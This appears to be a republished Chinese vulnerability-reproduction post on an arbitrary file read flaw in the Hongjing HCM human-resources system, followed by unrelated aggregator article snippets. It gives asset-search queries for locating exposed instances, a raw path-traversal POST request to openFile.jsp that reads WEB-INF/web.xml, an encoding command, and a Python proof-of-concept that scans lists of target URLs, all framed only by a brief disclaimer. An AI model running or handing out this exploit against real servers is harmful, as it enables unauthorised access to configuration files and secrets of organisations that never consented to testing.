【漏洞复现】宏景HCM人力资源信息管理系统——任意文件读取漏洞

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

宏景HCM人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件,其openFile接口存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)资产测绘,信息收集
fofa:app="HJSOFT-HCM"
hunter:app.name="宏景 HCM"
在这里插入图片描述
天道酬勤!!
在这里插入图片描述

2)构造数据包

POST /templates/attestation/../../general/muster/hmuster/openFile.jsp HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
x-auth-token: d9eaeacd5de1008fd43f737c853dcbcb
Content-Type: application/x-www-form-urlencoded
Content-Length: 68filename=8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP

代码解释
filename这部分需要加密转换,工具:https://github.com/vaycore/HrmsTool
执行命令:java -jar HrmsTool.jar -e ../webapps/hrms/WEB-INF/web.xml

编码前:../webapps/hrms/WEB-INF/web.xml
编码后:8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP

3)神器Yakit发包
在这里插入图片描述

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-import requests  # 导入requests库,用于发送HTTP请求
import argparse  # 导入argparse库,用于解析命令行参数
from requests.exceptions import RequestException  # 导入RequestException,用于处理请求异常
from urllib3.exceptions import InsecureRequestWarning  # 导入InsecureRequestWarning,用于禁用不安全请求警告# 打印颜色定义
RED = '\033[91m'  # 红色
RESET = '\033[0m'  # 重置颜色# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)def check_vulnerability(url):try:# 构建攻击URL,尝试利用路径遍历漏洞attack_url = url.rstrip('/') + "/templates/attestation/%2e%2e/%2e%2e/general/muster/hmuster/openFile.jsp"headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',  # 设置User-Agent'x-auth-token': 'd9eaeacd5de1008fd43f737c853dcbcb',  # 设置伪造的x-auth-token'Content-Type': 'application/x-www-form-urlencoded',  # 设置请求内容类型}# 准备POST请求的数据data = {'filename': '8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP'  # 尝试读取的文件名}# 向服务器发送POST请求response = requests.post(attack_url, headers=headers, data=data, verify=False, timeout=10)  # 不验证SSL证书,设置超时时间# 检查响应状态码和响应体中的关键字if response.status_code == 200 and 'web-app' in response.text:  # 如果状态码为200并且响应体中包含'web-app'print(f"{RED}URL [{url}] 宏景HCM openFile任意文件读取漏洞。{RESET}")  # 打印漏洞信息else:print(f"URL [{url}] 未发现漏洞。")  # 打印未发现漏洞信息except RequestException as e:print(f"URL [{url}] 请求失败: {e}")  # 打印请求失败信息def main():parser = argparse.ArgumentParser(description='检查目标URL是否存在宏景HCM openFile任意文件读取漏洞。')  # 解析命令行参数parser.add_argument('-u', '--url', help='指定目标URL')  # 添加URL参数parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')  # 添加文件参数args = parser.parse_args()  # 解析命令行参数if args.url:  # 如果指定了URL# 如果URL未以http://或https://开头,则添加http://args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.urlcheck_vulnerability(args.url)  # 检查指定URL的漏洞elif args.file:  # 如果指定了文件with open(args.file, 'r') as file:  # 打开文件urls = file.read().splitlines()  # 读取文件中的URL列表for url in urls:url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url  # 确保URL以http://或https://开头check_vulnerability(url)  # 检查每个URL的漏洞if __name__ == '__main__':main()  # 程序入口

运行截图

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/37391.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker pull 镜像的时候遇到Pulling fs layer问题

最近遇到一个很奇怪的问题,docker pull 镜像的时候,总是出现Pulling fs layer问题,导致镜像拉取不成功,以前是安装好docker,正常拉取镜像都是没什么问题的,在这里记录一下这个问题的解决方法,当然,可能并不通用。 1、进入阿里云容器服务 地址:https://cr.console.aliy…

Spring Boot中的热部署配置

Spring Boot中的热部署配置 大家好,我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编,也是冬天不穿秋裤,天冷也要风度的程序猿!今天我们将探讨如何在Spring Boot项目中实现热部署配置,提升开发效率和项…

C++实现Qt的信号+槽功能

在 Visual Studio (VS) 上使用 C 实现类似 Qt 的信号和槽机制是完全可能的,但 Qt 的信号和槽系统是基于其特定的元对象系统(Meta-Object System, MOC)的,这需要一些特定的预处理器和代码生成步骤。 如果你不想使用 Qt,…

vue路由传参和react 路由传参

路由跳转的方式 1、声明式导航 <router-link to"导航的地址"> 2、编程式导航 编程式导航有三种方法来进行导航 router.push router.replace router.go params传参和query传参 1、 params 传参(不在URL中显示参数) 在父路由跳转到子路由时&#xff0c;也可…

【Django】网上蛋糕项目商城-热销和新品

概念 本文将完成实现项目的热销和新品两个分类的商品列表进行分页展示。 热销和新品功能实现步骤 在head.html头部页面中点击这两个超链接向服务器发送请求。 在urls.py文件中定义该请求地址 path(goodsrecommend_list/,views.goodsrecommend_list) 在views.py文件中定义g…

JDBC中的批处理是什么?如何使用?

JDBC中的批处理是指将多个关联的SQL语句组合成一个批处理&#xff0c;并将它们作为一个调用提交给数据库。这种方法可以减少通信的资源消耗&#xff0c;从而提高性能。以下是关于JDBC批处理的具体使用和步骤&#xff1a; 1. JDBC批处理的基本概念 批处理定义&#xff1a;将多…

英飞凌TC3xx之一起认识GTM(十五)GTM常见配置问题总结

英飞凌TC3xx之一起认识GTM(十五)GTM常见配置问题总结 1 关于TGC/AGC的配置注意事项2 关于HOST_TRIG的使用3 关于SOMC模式中MCS与ARU的合并使用配置4 深入理解SOMP模式中RST_CCU0的配置5 关于CCUx中断的使用6 TIM如何捕获ATOM的输出7 总结前面几篇关键文章信息链接汇总如下: …

AV Foundation学习笔记二 - 播放器

ASSets AVFoundation框架的最核心的类是AVAsset&#xff0c;该类是整个AVFoundation框架设计的中心。AVAsset是一个抽象的&#xff08;意味着你不能调用AVAsset的alloc或者new方法来创建一个AVAsset实例对象&#xff0c;而是通过该类的静态方法来创建实例对象&#xff09;、不…

DevOps CMDB平台整合Jira工单

背景 在DevOps CMDB平台建设的过程中&#xff0c;我们可以很容易的将业务应用所涉及的云资源&#xff08;WAF、K8S、虚拟机等&#xff09;、CICD工具链&#xff08;Jenkins、ArgoCD&#xff09;、监控、日志等一次性的维护到CMDB平台&#xff0c;但随着时间的推移&#xff0c;…

Stirling PDF 部署 - 强大的PDF Web在线编辑工具箱

简介 这是一个强大的、可本地托管的、基于 Web 的 PDF 操作工具&#xff0c;可使用 Docker部署。它使您能够对 PDF 文件执行各种操作&#xff0c;包括拆分、合并、转换、重组、添加图像、旋转、压缩等。这个本地托管的 Web 应用程序已经发展到包含一套全面的功能&#xff0c;可…

PHP爬虫类的并发与多线程处理技巧

PHP爬虫类的并发与多线程处理技巧 引言&#xff1a; 随着互联网的快速发展&#xff0c;大量的数据信息存储在各种网站上&#xff0c;获取这些数据已经成为很多业务场景下的需求。而爬虫作为一种自动化获取网络信息的工具&#xff0c;被广泛应用于数据采集、搜索引擎、舆情分析…

关于组织赴俄罗斯(莫斯科)第 28 届国际汽车零部件、汽车维修设备和商品展览会商务考察的通知

关于组织赴俄罗斯&#xff08;莫斯科&#xff09; 第 28 届国际汽车零部件、汽车维修设备和商品展览会商务考察的通知 展会名称&#xff1a;俄罗斯&#xff08;莫斯科&#xff09;第 28 届国际汽车零部件、汽车零部件、汽车维修设备和商品展览会 时间&#xff1a;2024 年 8 月…

Python | Leetcode Python题解之第204题计数质数

题目&#xff1a; 题解&#xff1a; MX5000000 is_prime [1] * MX is_prime[0]is_prime[1]0 for i in range(2, MX):if is_prime[i]:for j in range(i * i, MX, i):#循环每次增加iis_prime[j] 0 class Solution:def countPrimes(self, n: int) -> int:return sum(is_prim…

【MongoDB】分布式数据库入门级学习

SueWakeup 个人主页&#xff1a;SueWakeup 系列专栏&#xff1a;为祖国的科技进步添砖Java 个性签名&#xff1a;保留赤子之心也许是种幸运吧 本文封面由 凯楠&#x1f4f8;友情提供 凯楠&#x1f4f8; - 不夜长安 目录 MongoDB 相关 数据库排行榜单 MongoDB 中文官网 菜鸟…

如何把mkv转成mp4?介绍一下将mkv转成MP4的几种方法

如何把mkv转成mp4&#xff1f;如果你有一个MKV格式的视频文件&#xff0c;但是需要将其转换为MP4格式以便更广泛地在各种设备和平台上播放和共享&#xff0c;你可以通过进行简单的文件格式转换来实现。转换MKV到MP4格式可以提供更好的兼容性&#xff0c;并确保你的视频文件能够…

在预训练语言模型主流架构

文章目录 编码器-解码器架构因果解码器架构前缀解码器架构在预训练语言模型时代,自然语言处理领域广泛采用了预训练 + 微调的范式,并诞生了以 BERT 为代表的编码器(Encoder-only)架构、以 GPT 为代表的解码器(Decoder-only)架构和以 T5 为代表的编码器-解码器(Encoder-d…

华为OD机试C卷(100分)-执行任务赚积分(c语言)

题目描述 现有N个任务需要处理&#xff0c;同一时间只能处理一个任务&#xff0c;处理每个任务所需要的时间固定为1。 每个任务都有最晚处理时间限制和积分值&#xff0c;在最晚处理时间点之前处理完成任务才可获得对应的积分奖励。 可用于处理任务的时间有限&#xff0c;请问…

AI学习指南机器学习篇-随机森林超参数选择与调优

AI学习指南机器学习篇-随机森林超参数选择与调优 随机森林是一种强大的机器学习算法&#xff0c;它能够处理复杂的数据集&#xff0c;并且对于大部分实际问题都表现出色。然而&#xff0c;要充分发挥随机森林的性能&#xff0c;需要对其超参数进行合理选择和调优。本文将介绍随…

React:tabs或标签页自定义右击菜单内容,支持内嵌iframe关闭菜单方案

React&#xff1a;tabs或标签页自定义右击菜单内容&#xff0c;支持内嵌iframe关闭菜单方案 不管是react、vue还是原生js&#xff0c;原理是一样的。 注意如果内嵌iframe情况下&#xff0c;iframe无法使用事件监听&#xff0c;但是可以使用iframe的任何点击行为都会往父级wind…

入门Java爬虫:认识其基本概念和应用方法

Java爬虫初探&#xff1a;了解它的基本概念与用途&#xff0c;需要具体代码示例 随着互联网的快速发展&#xff0c;获取并处理大量的数据成为企业和个人不可或缺的一项任务。而爬虫&#xff08;Web Scraping&#xff09;作为一种自动化的数据获取方法&#xff0c;不仅能够快速…